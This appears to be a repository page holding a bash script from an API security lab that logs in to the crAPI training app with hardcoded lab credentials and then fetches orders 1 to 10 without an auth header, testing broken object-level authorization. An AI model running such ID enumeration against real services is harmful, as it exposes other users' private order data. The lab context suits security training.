You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

unauth_orders.sh 1.0KB

123456789101112131415161718192021222324252627282930
  1. #!/bin/bash
  2. # Prompt the user to enter the value of HOSTNAME
  3. read -p "Enter the HOSTNAME: " HOSTNAME
  4. # Log in to the app.
  5. curl "http://$HOSTNAME/identity/api/auth/login" \
  6. -H 'Content-Type: application/json' \
  7. --data-raw '{"email":"apilab@akamai.com","password":"cRaPi2023!!!"}' \
  8. --insecure -s \
  9. -o /dev/null
  10. # Loop through order IDs from 1 to 10
  11. for order_id in {1..10}; do
  12. # Make the API request for the current order ID without including auth header
  13. curl "http://$HOSTNAME/workshop/api/shop/orders/$order_id" \
  14. -H 'Accept: */*' \
  15. -H 'Accept-Language: en-US,en;q=0.9' \
  16. -H 'Connection: keep-alive' \
  17. -H 'Content-Type: application/json' \
  18. -H "Referer: http://$HOSTNAME/orders?order_id=$order_id" \
  19. -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
  20. -H 'pragma: akamai-x-ro-trace' \
  21. -H 'x-akamai-a2-disable: on' \
  22. -H 'x-akamai-ro-piez: on' \
  23. -H 'x-im-piez: on' \
  24. --compressed \
  25. --insecure | jq -j
  26. done